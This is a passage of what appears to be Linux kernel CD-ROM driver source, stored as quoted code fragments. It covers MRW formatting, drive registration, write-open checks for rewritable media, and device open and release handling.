(be16_to_cpu(mfd->feature_code) != CDF_MRW)\n\t\treturn 1;\n\t*write = mfd->write;", "\tif ((ret = cdrom_mrw_probe_pc(cdi))) {\n\t\t*write = 0;\n\t\treturn ret;\n\t}", "\treturn 0;\n}", "static int cdrom_mrw_bgformat(struct cdrom_device_info *cdi, int cont)\n{\n\tstruct packet_command cgc;\n\tunsigned char buffer[12];\n\tint ret;", "\tpr_info(\"%sstarting format\\n\", cont ? \"Re\" : \"\");", "\t/*\n\t * FmtData bit set (bit 4), format type is 1\n\t */\n\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_WRITE);\n\tcgc.cmd[0] = GPCMD_FORMAT_UNIT;\n\tcgc.cmd[1] = (1 << 4) | 1;", "\tcgc.timeout = 5 * 60 * HZ;", "\t/*\n\t * 4 byte format list header, 8 byte format list descriptor\n\t */\n\tbuffer[1] = 1 << 1;\n\tbuffer[3] = 8;", "\t/*\n\t * nr_blocks field\n\t */\n\tbuffer[4] = 0xff;\n\tbuffer[5] = 0xff;\n\tbuffer[6] = 0xff;\n\tbuffer[7] = 0xff;", "\tbuffer[8] = 0x24 << 2;\n\tbuffer[11] = cont;", "\tret = cdi->ops->generic_packet(cdi, &cgc);\n\tif (ret)\n\t\tpr_info(\"bgformat failed\\n\");", "\treturn ret;\n}", "static int cdrom_mrw_bgformat_susp(struct cdrom_device_info *cdi, int immed)\n{\n\tstruct packet_command cgc;", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_CLOSE_TRACK;", "\t/*\n\t * Session = 1, Track = 0\n\t */\n\tcgc.cmd[1] = !!immed;\n\tcgc.cmd[2] = 1 << 1;", "\tcgc.timeout = 5 * 60 * HZ;", "\treturn cdi->ops->generic_packet(cdi, &cgc);\n}", "static int cdrom_mrw_exit(struct cdrom_device_info *cdi)\n{\n\tdisc_information di;\n\tint ret;", "\tret = cdrom_get_disc_info(cdi, &di);\n\tif (ret < 0 || ret < (int)offsetof(typeof(di),disc_type))\n\t\treturn 1;", "\tret = 0;\n\tif (di.mrw_status == CDM_MRW_BGFORMAT_ACTIVE) {\n\t\tpr_info(\"issuing MRW background format suspend\\n\");\n\t\tret = cdrom_mrw_bgformat_susp(cdi, 0);\n\t}", "\tif (!ret && cdi->media_written)\n\t\tret = cdrom_flush_cache(cdi);", "\treturn ret;\n}", "static int cdrom_mrw_set_lba_space(struct cdrom_device_info *cdi, int space)\n{\n\tstruct packet_command cgc;\n\tstruct mode_page_header *mph;\n\tchar buffer[16];\n\tint ret, offset, size;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.buffer = buffer;\n\tcgc.buflen = sizeof(buffer);", "\tret = cdrom_mode_sense(cdi, &cgc, cdi->mrw_mode_page, 0);\n\tif (ret)\n\t\treturn ret;", "\tmph = (struct mode_page_header *)buffer;\n\toffset = be16_to_cpu(mph->desc_length);\n\tsize = be16_to_cpu(mph->mode_data_length) + 2;", "\tbuffer[offset + 3] = space;\n\tcgc.buflen = size;", "\tret = cdrom_mode_select(cdi, &cgc);\n\tif (ret)\n\t\treturn ret;", "\tpr_info(\"%s: mrw address space %s selected\\n\",\n\t\tcdi->name, mrw_address_space[space]);\n\treturn 0;\n}", "int register_cdrom(struct cdrom_device_info *cdi)\n{\n\tstatic char banner_printed;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tint *change_capability = (int *)&cdo->capability; /* hack */", "\tcd_dbg(CD_OPEN, \"entering register_cdrom\\n\");", "\tif (cdo->open == NULL || cdo->release == NULL)\n\t\treturn -EINVAL;\n\tif (!banner_printed) {\n\t\tpr_info(\"Uniform CD-ROM driver \" REVISION \"\\n\");\n\t\tbanner_printed = 1;\n\t\tcdrom_sysctl_register();\n\t}", "\tENSURE(drive_status, CDC_DRIVE_STATUS);\n\tif (cdo->check_events == NULL && cdo->media_changed == NULL)\n\t\t*change_capability = ~(CDC_MEDIA_CHANGED | CDC_SELECT_DISC);\n\tENSURE(tray_move, CDC_CLOSE_TRAY | CDC_OPEN_TRAY);\n\tENSURE(lock_door, CDC_LOCK);\n\tENSURE(select_speed, CDC_SELECT_SPEED);\n\tENSURE(get_last_session, CDC_MULTI_SESSION);\n\tENSURE(get_mcn, CDC_MCN);\n\tENSURE(reset, CDC_RESET);\n\tENSURE(generic_packet, CDC_GENERIC_PACKET);\n\tcdi->mc_flags = 0;\n\tcdi->options = CDO_USE_FFLAGS;", "\tif (autoclose == 1 && CDROM_CAN(CDC_CLOSE_TRAY))\n\t\tcdi->options |= (int) CDO_AUTO_CLOSE;\n\tif (autoeject == 1 && CDROM_CAN(CDC_OPEN_TRAY))\n\t\tcdi->options |= (int) CDO_AUTO_EJECT;\n\tif (lockdoor == 1)\n\t\tcdi->options |= (int) CDO_LOCK;\n\tif (check_media_type == 1)\n\t\tcdi->options |= (int) CDO_CHECK_TYPE;", "\tif (CDROM_CAN(CDC_MRW_W))\n\t\tcdi->exit = cdrom_mrw_exit;", "\tif (cdi->disk)\n\t\tcdi->cdda_method = CDDA_BPC_FULL;\n\telse\n\t\tcdi->cdda_method = CDDA_OLD;", "\tWARN_ON(!cdo->generic_packet);", "\tcd_dbg(CD_REG_UNREG, \"drive \\\"/dev/%s\\\" registered\\n\", cdi->name);\n\tmutex_lock(&cdrom_mutex);\n\tlist_add(&cdi->list, &cdrom_list);\n\tmutex_unlock(&cdrom_mutex);\n\treturn 0;\n}\n#undef ENSURE", "void unregister_cdrom(struct cdrom_device_info *cdi)\n{\n\tcd_dbg(CD_OPEN, \"entering unregister_cdrom\\n\");", "\tmutex_lock(&cdrom_mutex);\n\tlist_del(&cdi->list);\n\tmutex_unlock(&cdrom_mutex);", "\tif (cdi->exit)\n\t\tcdi->exit(cdi);", "\tcd_dbg(CD_REG_UNREG, \"drive \\\"/dev/%s\\\" unregistered\\n\", cdi->name);\n}", "int cdrom_get_media_event(struct cdrom_device_info *cdi,\n\t\t\t struct media_event_desc *med)\n{\n\tstruct packet_command cgc;\n\tunsigned char buffer[8];\n\tstruct event_header *eh = (struct event_header *)buffer;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);\n\tcgc.cmd[0] = GPCMD_GET_EVENT_STATUS_NOTIFICATION;\n\tcgc.cmd[1] = 1;\t\t/* IMMED */\n\tcgc.cmd[4] = 1 << 4;\t/* media event */\n\tcgc.cmd[8] = sizeof(buffer);\n\tcgc.quiet = 1;", "\tif (cdi->ops->generic_packet(cdi, &cgc))\n\t\treturn 1;", "\tif (be16_to_cpu(eh->data_len) < sizeof(*med))\n\t\treturn 1;", "\tif (eh->nea || eh->notification_class != 0x4)\n\t\treturn 1;", "\tmemcpy(med, &buffer[sizeof(*eh)], sizeof(*med));\n\treturn 0;\n}", "static int cdrom_get_random_writable(struct cdrom_device_info *cdi,\n\t\t\t struct rwrt_feature_desc *rfd)\n{\n\tstruct packet_command cgc;\n\tchar buffer[24];\n\tint ret;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.cmd[0] = GPCMD_GET_CONFIGURATION;\t/* often 0x46 */\n\tcgc.cmd[3] = CDF_RWRT;\t\t\t/* often 0x0020 */\n\tcgc.cmd[8] = sizeof(buffer);\t\t/* often 0x18 */\n\tcgc.quiet = 1;", "\tif ((ret = cdi->ops->generic_packet(cdi, &cgc)))\n\t\treturn ret;", "\tmemcpy(rfd, &buffer[sizeof(struct feature_header)], sizeof (*rfd));\n\treturn 0;\n}", "static int cdrom_has_defect_mgt(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;\n\tchar buffer[16];\n\t__be16 *feature_code;\n\tint ret;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.cmd[0] = GPCMD_GET_CONFIGURATION;\n\tcgc.cmd[3] = CDF_HWDM;\n\tcgc.cmd[8] = sizeof(buffer);\n\tcgc.quiet = 1;", "\tif ((ret = cdi->ops->generic_packet(cdi, &cgc)))\n\t\treturn ret;", "\tfeature_code = (__be16 *) &buffer[sizeof(struct feature_header)];\n\tif (be16_to_cpu(*feature_code) == CDF_HWDM)\n\t\treturn 0;", "\treturn 1;\n}", "\nstatic int cdrom_is_random_writable(struct cdrom_device_info *cdi, int *write)\n{\n\tstruct rwrt_feature_desc rfd;\n\tint ret;", "\t*write = 0;", "\tif ((ret = cdrom_get_random_writable(cdi, &rfd)))\n\t\treturn ret;", "\tif (CDF_RWRT == be16_to_cpu(rfd.feature_code))\n\t\t*write = 1;", "\treturn 0;\n}", "static int cdrom_media_erasable(struct cdrom_device_info *cdi)\n{\n\tdisc_information di;\n\tint ret;", "\tret = cdrom_get_disc_info(cdi, &di);\n\tif (ret < 0 || ret < offsetof(typeof(di), n_first_track))\n\t\treturn -1;", "\treturn di.erasable;\n}", "/*\n * FIXME: check RO bit\n */\nstatic int cdrom_dvdram_open_write(struct cdrom_device_info *cdi)\n{\n\tint ret = cdrom_media_erasable(cdi);", "\t/*\n\t * allow writable open if media info read worked and media is\n\t * erasable, _or_ if it fails since not all drives support it\n\t */\n\tif (!ret)\n\t\treturn 1;", "\treturn 0;\n}", "static int cdrom_mrw_open_write(struct cdrom_device_info *cdi)\n{\n\tdisc_information di;\n\tint ret;", "\t/*\n\t * always reset to DMA lba space on open\n\t */\n\tif (cdrom_mrw_set_lba_space(cdi, MRW_LBA_DMA)) {\n\t\tpr_err(\"failed setting lba address space\\n\");\n\t\treturn 1;\n\t}", "\tret = cdrom_get_disc_info(cdi, &di);\n\tif (ret < 0 || ret < offsetof(typeof(di),disc_type))\n\t\treturn 1;", "\tif (!di.erasable)\n\t\treturn 1;", "\t/*\n\t * mrw_status\n\t * 0\t-\tnot MRW formatted\n\t * 1\t-\tMRW bgformat started, but not running or complete\n\t * 2\t-\tMRW bgformat in progress\n\t * 3\t-\tMRW formatting complete\n\t */\n\tret = 0;\n\tpr_info(\"open: mrw_status '%s'\\n\", mrw_format_status[di.mrw_status]);\n\tif (!di.mrw_status)\n\t\tret = 1;\n\telse if (di.mrw_status == CDM_MRW_BGFORMAT_INACTIVE &&\n\t\t\tmrw_format_restart)\n\t\tret = cdrom_mrw_bgformat(cdi, 1);", "\treturn ret;\n}", "static int mo_open_write(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;\n\tchar buffer[255];\n\tint ret;", "\tinit_cdrom_command(&cgc, &buffer, 4, CGC_DATA_READ);\n\tcgc.quiet = 1;", "\t/*\n\t * obtain write protect information as per\n\t * drivers/scsi/sd.c:sd_read_write_protect_flag\n\t */", "\tret = cdrom_mode_sense(cdi, &cgc, GPMODE_ALL_PAGES, 0);\n\tif (ret)\n\t\tret = cdrom_mode_sense(cdi, &cgc, GPMODE_VENDOR_PAGE, 0);\n\tif (ret) {\n\t\tcgc.buflen = 255;\n\t\tret = cdrom_mode_sense(cdi, &cgc, GPMODE_ALL_PAGES, 0);\n\t}", "\t/* drive gave us no info, let the user go ahead */\n\tif (ret)\n\t\treturn 0;", "\treturn buffer[3] & 0x80;\n}", "static int cdrom_ram_open_write(struct cdrom_device_info *cdi)\n{\n\tstruct rwrt_feature_desc rfd;\n\tint ret;", "\tif ((ret = cdrom_has_defect_mgt(cdi)))\n\t\treturn ret;", "\tif ((ret = cdrom_get_random_writable(cdi, &rfd)))\n\t\treturn ret;\n\telse if (CDF_RWRT == be16_to_cpu(rfd.feature_code))\n\t\tret = !rfd.curr;", "\tcd_dbg(CD_OPEN, \"can open for random write\\n\");\n\treturn ret;\n}", "static void cdrom_mmc3_profile(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;\n\tchar buffer[32];\n\tint ret, mmc3_profile;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.cmd[0] = GPCMD_GET_CONFIGURATION;\n\tcgc.cmd[1] = 0;\n\tcgc.cmd[2] = cgc.cmd[3] = 0;\t\t/* Starting Feature Number */\n\tcgc.cmd[8] = sizeof(buffer);\t\t/* Allocation Length */\n\tcgc.quiet = 1;", "\tif ((ret = cdi->ops->generic_packet(cdi, &cgc)))\n\t\tmmc3_profile = 0xffff;\n\telse\n\t\tmmc3_profile = (buffer[6] << 8) | buffer[7];", "\tcdi->mmc3_profile = mmc3_profile;\n}", "static int cdrom_is_dvd_rw(struct cdrom_device_info *cdi)\n{\n\tswitch (cdi->mmc3_profile) {\n\tcase 0x12:\t/* DVD-RAM\t*/\n\tcase 0x1A:\t/* DVD+RW\t*/\n\tcase 0x43:\t/* BD-RE\t*/\n\t\treturn 0;\n\tdefault:\n\t\treturn 1;\n\t}\n}", "/*\n * returns 0 for ok to open write, non-0 to disallow\n */\nstatic int cdrom_open_write(struct cdrom_device_info *cdi)\n{\n\tint mrw, mrw_write, ram_write;\n\tint ret = 1;", "\tmrw = 0;\n\tif (!cdrom_is_mrw(cdi, &mrw_write))\n\t\tmrw = 1;", "\tif (CDROM_CAN(CDC_MO_DRIVE))\n\t\tram_write = 1;\n\telse\n\t\t(void) cdrom_is_random_writable(cdi, &ram_write);\n\t\n\tif (mrw)\n\t\tcdi->mask &= ~CDC_MRW;\n\telse\n\t\tcdi->mask |= CDC_MRW;", "\tif (mrw_write)\n\t\tcdi->mask &= ~CDC_MRW_W;\n\telse\n\t\tcdi->mask |= CDC_MRW_W;", "\tif (ram_write)\n\t\tcdi->mask &= ~CDC_RAM;\n\telse\n\t\tcdi->mask |= CDC_RAM;", "\tif (CDROM_CAN(CDC_MRW_W))\n\t\tret = cdrom_mrw_open_write(cdi);\n\telse if (CDROM_CAN(CDC_DVD_RAM))\n\t\tret = cdrom_dvdram_open_write(cdi);\n \telse if (CDROM_CAN(CDC_RAM) &&\n \t\t !CDROM_CAN(CDC_CD_R|CDC_CD_RW|CDC_DVD|CDC_DVD_R|CDC_MRW|CDC_MO_DRIVE))\n \t\tret = cdrom_ram_open_write(cdi);\n\telse if (CDROM_CAN(CDC_MO_DRIVE))\n\t\tret = mo_open_write(cdi);\n\telse if (!cdrom_is_dvd_rw(cdi))\n\t\tret = 0;", "\treturn ret;\n}", "static void cdrom_dvd_rw_close_write(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;", "\tif (cdi->mmc3_profile != 0x1a) {\n\t\tcd_dbg(CD_CLOSE, \"%s: No DVD+RW\\n\", cdi->name);\n\t\treturn;\n\t}", "\tif (!cdi->media_written) {\n\t\tcd_dbg(CD_CLOSE, \"%s: DVD+RW media clean\\n\", cdi->name);\n\t\treturn;\n\t}", "\tpr_info(\"%s: dirty DVD+RW media, \\\"finalizing\\\"\\n\", cdi->name);", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_FLUSH_CACHE;\n\tcgc.timeout = 30*HZ;\n\tcdi->ops->generic_packet(cdi, &cgc);", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_CLOSE_TRACK;\n\tcgc.timeout = 3000*HZ;\n\tcgc.quiet = 1;\n\tcdi->ops->generic_packet(cdi, &cgc);", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_CLOSE_TRACK;\n\tcgc.cmd[2] = 2;\t /* Close session */\n\tcgc.quiet = 1;\n\tcgc.timeout = 3000*HZ;\n\tcdi->ops->generic_packet(cdi, &cgc);", "\tcdi->media_written = 0;\n}", "static int cdrom_close_write(struct cdrom_device_info *cdi)\n{\n#if 0\n\treturn cdrom_flush_cache(cdi);\n#else\n\treturn 0;\n#endif\n}", "/* badly broken, I know. Is due for a fixup anytime. */\nstatic void cdrom_count_tracks(struct cdrom_device_info *cdi, tracktype *tracks)\n{\n\tstruct cdrom_tochdr header;\n\tstruct cdrom_tocentry entry;\n\tint ret, i;\n\ttracks->data = 0;\n\ttracks->audio = 0;\n\ttracks->cdi = 0;\n\ttracks->xa = 0;\n\ttracks->error = 0;\n\tcd_dbg(CD_COUNT_TRACKS, \"entering cdrom_count_tracks\\n\");\n\t/* Grab the TOC header so we can see how many tracks there are */\n\tret = cdi->ops->audio_ioctl(cdi, CDROMREADTOCHDR, &header);\n\tif (ret) {\n\t\tif (ret == -ENOMEDIUM)\n\t\t\ttracks->error = CDS_NO_DISC;\n\t\telse\n\t\t\ttracks->error = CDS_NO_INFO;\n\t\treturn;\n\t}\n\t/* check what type of tracks are on this disc */\n\tentry.cdte_format = CDROM_MSF;\n\tfor (i = header.cdth_trk0; i <= header.cdth_trk1; i++) {\n\t\tentry.cdte_track = i;\n\t\tif (cdi->ops->audio_ioctl(cdi, CDROMREADTOCENTRY, &entry)) {\n\t\t\ttracks->error = CDS_NO_INFO;\n\t\t\treturn;\n\t\t}\n\t\tif (entry.cdte_ctrl & CDROM_DATA_TRACK) {\n\t\t\tif (entry.cdte_format == 0x10)\n\t\t\t\ttracks->cdi++;\n\t\t\telse if (entry.cdte_format == 0x20)\n\t\t\t\ttracks->xa++;\n\t\t\telse\n\t\t\t\ttracks->data++;\n\t\t} else {\n\t\t\ttracks->audio++;\n\t\t}\n\t\tcd_dbg(CD_COUNT_TRACKS, \"track %d: format=%d, ctrl=%d\\n\",\n\t\t i, entry.cdte_format, entry.cdte_ctrl);\n\t}\n\tcd_dbg(CD_COUNT_TRACKS, \"disc has %d tracks: %d=audio %d=data %d=Cd-I %d=XA\\n\",\n\t header.cdth_trk1, tracks->audio, tracks->data,\n\t tracks->cdi, tracks->xa);\n}", "static\nint open_for_data(struct cdrom_device_info *cdi)\n{\n\tint ret;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\ttracktype tracks;\n\tcd_dbg(CD_OPEN, \"entering open_for_data\\n\");\n\t/* Check if the driver can report drive status. If it can, we\n\t can do clever things. If it can't, well, we at least tried! */\n\tif (cdo->drive_status != NULL) {\n\t\tret = cdo->drive_status(cdi, CDSL_CURRENT);\n\t\tcd_dbg(CD_OPEN, \"drive_status=%d\\n\", ret);\n\t\tif (ret == CDS_TRAY_OPEN) {\n\t\t\tcd_dbg(CD_OPEN, \"the tray is open...\\n\");\n\t\t\t/* can/may i close it? */\n\t\t\tif (CDROM_CAN(CDC_CLOSE_TRAY) &&\n\t\t\t cdi->options & CDO_AUTO_CLOSE) {\n\t\t\t\tcd_dbg(CD_OPEN, \"trying to close the tray\\n\");\n\t\t\t\tret=cdo->tray_move(cdi,0);\n\t\t\t\tif (ret) {\n\t\t\t\t\tcd_dbg(CD_OPEN, \"bummer. tried to close the tray but failed.\\n\");\n\t\t\t\t\t/* Ignore the error from the low\n\t\t\t\t\tlevel driver. We don't care why it\n\t\t\t\t\tcouldn't close the tray. We only care \n\t\t\t\t\tthat there is no disc in the drive, \n\t\t\t\t\tsince that is the _REAL_ problem here.*/\n\t\t\t\t\tret=-ENOMEDIUM;\n\t\t\t\t\tgoto clean_up_and_return;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcd_dbg(CD_OPEN, \"bummer. this drive can't close the tray.\\n\");\n\t\t\t\tret=-ENOMEDIUM;\n\t\t\t\tgoto clean_up_and_return;\n\t\t\t}\n\t\t\t/* Ok, the door should be closed now.. Check again */\n\t\t\tret = cdo->drive_status(cdi, CDSL_CURRENT);\n\t\t\tif ((ret == CDS_NO_DISC) || (ret==CDS_TRAY_OPEN)) {\n\t\t\t\tcd_dbg(CD_OPEN, \"bummer. the tray is still not closed.\\n\");\n\t\t\t\tcd_dbg(CD_OPEN, \"tray might not contain a medium\\n\");\n\t\t\t\tret=-ENOMEDIUM;\n\t\t\t\tgoto clean_up_and_return;\n\t\t\t}\n\t\t\tcd_dbg(CD_OPEN, \"the tray is now closed\\n\");\n\t\t}\n\t\t/* the door should be closed now, check for the disc */\n\t\tret = cdo->drive_status(cdi, CDSL_CURRENT);\n\t\tif (ret!=CDS_DISC_OK) {\n\t\t\tret = -ENOMEDIUM;\n\t\t\tgoto clean_up_and_return;\n\t\t}\n\t}\n\tcdrom_count_tracks(cdi, &tracks);\n\tif (tracks.error == CDS_NO_DISC) {\n\t\tcd_dbg(CD_OPEN, \"bummer. no disc.\\n\");\n\t\tret=-ENOMEDIUM;\n\t\tgoto clean_up_and_return;\n\t}\n\t/* CD-Players which don't use O_NONBLOCK, workman\n\t * for example, need bit CDO_CHECK_TYPE cleared! */\n\tif (tracks.data==0) {\n\t\tif (cdi->options & CDO_CHECK_TYPE) {\n\t\t /* give people a warning shot, now that CDO_CHECK_TYPE\n\t\t is the default case! */\n\t\t cd_dbg(CD_OPEN, \"bummer. wrong media type.\\n\");\n\t\t cd_dbg(CD_WARNING, \"pid %d must open device O_NONBLOCK!\\n\",\n\t\t\t (unsigned int)task_pid_nr(current));\n\t\t ret=-EMEDIUMTYPE;\n\t\t goto clean_up_and_return;\n\t\t}\n\t\telse {\n\t\t cd_dbg(CD_OPEN, \"wrong media type, but CDO_CHECK_TYPE not set\\n\");\n\t\t}\n\t}", "\tcd_dbg(CD_OPEN, \"all seems well, opening the devicen\");", "\t/* all seems well, we can open the device */\n\tret = cdo->open(cdi, 0); /* open for data */\n\tcd_dbg(CD_OPEN, \"opening the device gave me %d\\n\", ret);\n\t/* After all this careful checking, we shouldn't have problems\n\t opening the device, but we don't want the device locked if \n\t this somehow fails... */\n\tif (ret) {\n\t\tcd_dbg(CD_OPEN, \"open device failed\\n\");\n\t\tgoto clean_up_and_return;\n\t}\n\tif (CDROM_CAN(CDC_LOCK) && (cdi->options & CDO_LOCK)) {\n\t\t\tcdo->lock_door(cdi, 1);\n\t\t\tcd_dbg(CD_OPEN, \"door locked\\n\");\n\t}\n\tcd_dbg(CD_OPEN, \"device opened successfully\\n\");\n\treturn ret;", "\t/* Something failed. Try to unlock the drive, because some drivers\n\t(notably ide-cd) lock the drive after every command. This produced\n\ta nasty bug where after mount failed, the drive would remain locked! \n\tThis ensures that the drive gets unlocked after a mount fails. This \n\tis a goto to avoid bloating the driver with redundant code. */ \nclean_up_and_return:\n\tcd_dbg(CD_OPEN, \"open failed\\n\");\n\tif (CDROM_CAN(CDC_LOCK) && cdi->options & CDO_LOCK) {\n\t\t\tcdo->lock_door(cdi, 0);\n\t\t\tcd_dbg(CD_OPEN, \"door unlocked\\n\");\n\t}\n\treturn ret;\n}", "/* We use the open-option O_NONBLOCK to indicate that the\n * purpose of opening is only for subsequent ioctl() calls; no device\n * integrity checks are performed.\n *\n * We hope that all cd-player programs will adopt this convention. It\n * is in their own interest: device control becomes a lot easier\n * this way.\n */\nint cdrom_open(struct cdrom_device_info *cdi, struct block_device *bdev,\n\t fmode_t mode)\n{\n\tint ret;", "\tcd_dbg(CD_OPEN, \"entering cdrom_open\\n\");", "\t/* if this was a O_NONBLOCK open and we should honor the flags,\n\t * do a quick open without drive/disc integrity checks. */\n\tcdi->use_count++;\n\tif ((mode & FMODE_NDELAY) && (cdi->options & CDO_USE_FFLAGS)) {\n\t\tret = cdi->ops->open(cdi, 1);\n\t} else {\n\t\tret = open_for_data(cdi);\n\t\tif (ret)\n\t\t\tgoto err;\n\t\tcdrom_mmc3_profile(cdi);\n\t\tif (mode & FMODE_WRITE) {\n\t\t\tret = -EROFS;\n\t\t\tif (cdrom_open_write(cdi))\n\t\t\t\tgoto err_release;\n\t\t\tif (!CDROM_CAN(CDC_RAM))\n\t\t\t\tgoto err_release;\n\t\t\tret = 0;\n\t\t\tcdi->media_written = 0;\n\t\t}\n\t}", "\tif (ret)\n\t\tgoto err;", "\tcd_dbg(CD_OPEN, \"Use count for \\\"/dev/%s\\\" now %d\\n\",\n\t cdi->name, cdi->use_count);\n\treturn 0;\nerr_release:\n\tif (CDROM_CAN(CDC_LOCK) && cdi->options & CDO_LOCK) {\n\t\tcdi->ops->lock_door(cdi, 0);\n\t\tcd_dbg(CD_OPEN, \"door unlocked\\n\");\n\t}\n\tcdi->ops->release(cdi);\nerr:\n\tcdi->use_count--;\n\treturn ret;\n}", "/* This code is similar to that in open_for_data. The routine is called\n whenever an audio play operation is requested.\n*/\nstatic int check_for_audio_disc(struct cdrom_device_info *cdi,\n\t\t\t\tconst struct cdrom_device_ops *cdo)\n{\n int ret;\n\ttracktype tracks;\n\tcd_dbg(CD_OPEN, \"entering check_for_audio_disc\\n\");\n\tif (!(cdi->options & CDO_CHECK_TYPE))\n\t\treturn 0;\n\tif (cdo->drive_status != NULL) {\n\t\tret = cdo->drive_status(cdi, CDSL_CURRENT);\n\t\tcd_dbg(CD_OPEN, \"drive_status=%d\\n\", ret);\n\t\tif (ret == CDS_TRAY_OPEN) {\n\t\t\tcd_dbg(CD_OPEN, \"the tray is open...\\n\");\n\t\t\t/* can/may i close it? */\n\t\t\tif (CDROM_CAN(CDC_CLOSE_TRAY) &&\n\t\t\t cdi->options & CDO_AUTO_CLOSE) {\n\t\t\t\tcd_dbg(CD_OPEN, \"trying to close the tray\\n\");\n\t\t\t\tret=cdo->tray_move(cdi,0);\n\t\t\t\tif (ret) {\n\t\t\t\t\tcd_dbg(CD_OPEN, \"bummer. tried to close tray but failed.\\n\");\n\t\t\t\t\t/* Ignore the error from the low\n\t\t\t\t\tlevel driver. We don't care why it\n\t\t\t\t\tcouldn't close the tray. We only care \n\t\t\t\t\tthat there is no disc in the drive, \n\t\t\t\t\tsince that is the _REAL_ problem here.*/\n\t\t\t\t\treturn -ENOMEDIUM;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcd_dbg(CD_OPEN, \"bummer. this driver can't close the tray.\\n\");\n\t\t\t\treturn -ENOMEDIUM;\n\t\t\t}\n\t\t\t/* Ok, the door should be closed now.. Check again */\n\t\t\tret = cdo->drive_status(cdi, CDSL_CURRENT);\n\t\t\tif ((ret == CDS_NO_DISC) || (ret==CDS_TRAY_OPEN)) {\n\t\t\t\tcd_dbg(CD_OPEN, \"bummer. the tray is still not closed.\\n\");\n\t\t\t\treturn -ENOMEDIUM;\n\t\t\t}\t\n\t\t\tif (ret!=CDS_DISC_OK) {\n\t\t\t\tcd_dbg(CD_OPEN, \"bummer. disc isn't ready.\\n\");\n\t\t\t\treturn -EIO;\n\t\t\t}\t\n\t\t\tcd_dbg(CD_OPEN, \"the tray is now closed\\n\");\n\t\t}\t\n\t}\n\tcdrom_count_tracks(cdi, &tracks);\n\tif (tracks.error) \n\t\treturn(tracks.error);", "\tif (tracks.audio==0)\n\t\treturn -EMEDIUMTYPE;", "\treturn 0;\n}", "void cdrom_release(struct cdrom_device_info *cdi, fmode_t mode)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tint opened_for_data;", "\tcd_dbg(CD_CLOSE, \"entering cdrom_release\\n\");", "\tif (cdi->use_count > 0)\n\t\tcdi->use_count--;", "\tif (cdi->use_count == 0) {\n\t\tcd_dbg(CD_CLOSE, \"Use count for \\\"/dev/%s\\\" now zero\\n\",\n\t\t cdi->name);\n\t\tcdrom_dvd_rw_close_write(cdi);", "\t\tif ((cdo->capability & CDC_LOCK) && !cdi->keeplocked) {\n\t\t\tcd_dbg(CD_CLOSE, \"Unlocking door!\\n\");\n\t\t\tcdo->lock_door(cdi, 0);\n\t\t}\n\t}", "\topened_for_data = !(cdi->options & CDO_USE_FFLAGS) ||\n\t\t!(mode & FMODE_NDELAY);", "\t/*\n\t * flush cache on last write release\n\t */\n\tif (CDROM_CAN(CDC_RAM) && !cdi->use_count && cdi->for_data)\n\t\tcdrom_close_write(cdi);", "\tcdo->release(cdi);\n\tif (cdi->use_count == 0) { /* last process that closes dev*/\n\t\tif (opened_for_data &&\n\t\t cdi->options & CDO_AUTO_EJECT && CDROM_CAN(CDC_OPEN_TRAY))\n\t\t\tcdo->tray_move(cdi, 1);\n\t}\n}", "static int cdrom_read_mech_status(struct cdrom_device_info *cdi, \n\t\t\t\t struct cdrom_changer_info *buf)\n{\n\tstruct packet_command cgc;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tint length;", "\t/*\n\t * Sanyo changer isn't spec compliant (doesn't use regular change\n\t * LOAD_UNLOAD command, and it doesn't implement the mech status\n\t * command below\n\t */\n\tif (cdi->sanyo_slot) {\n\t\tbuf->hdr.nslots = 3;\n\t\tbuf->hdr.curslot = cdi->sanyo_slot == 3 ? 0 : cdi->sanyo_slot;\n\t\tfor (length = 0; length < 3; length++) {\n\t\t\tbuf->slots[length].disc_present = 1;\n\t\t\tbuf->slots[length].change = 0;\n\t\t}\n\t\treturn 0;\n\t}", "\tlength = sizeof(struct cdrom_mechstat_header) +\n\t\t cdi->capacity * sizeof(struct cdrom_slot);", "\tinit_cdrom_command(&cgc, buf, length, CGC_DATA_READ);\n\tcgc.cmd[0] = GPCMD_MECHANISM_STATUS;\n\tcgc.cmd[8] = (length >> 8) & 0xff;\n\tcgc.cmd[9] = length & 0xff;\n\treturn cdo->generic_packet(cdi, &cgc);\n}", "static int cdrom_slot_status(struct cdrom_device_info *cdi, int slot)\n{\n\tstruct cdrom_changer_info *info;\n\tint ret;", "\tcd_dbg(CD_CHANGER, \"entering cdrom_slot_status()\\n\");\n\tif (cdi->sanyo_slot)\n\t\treturn CDS_NO_INFO;\n\t\n\tinfo = kmalloc(sizeof(*info), GFP_KERNEL);\n\tif (!info)\n\t\treturn -ENOMEM;", "\tif ((ret = cdrom_read_mech_status(cdi, info)))\n\t\tgoto out_free;", "\tif (info->slots[slot].disc_present)\n\t\tret = CDS_DISC_OK;\n\telse\n\t\tret = CDS_NO_DISC;", "out_free:\n\tkfree(info);\n\treturn ret;\n}", "/* Return the number of slots for an ATAPI/SCSI cdrom, \n * return 1 if not a changer. \n */\nint cdrom_number_of_slots(struct cdrom_device_info *cdi) \n{\n\tint status;\n\tint 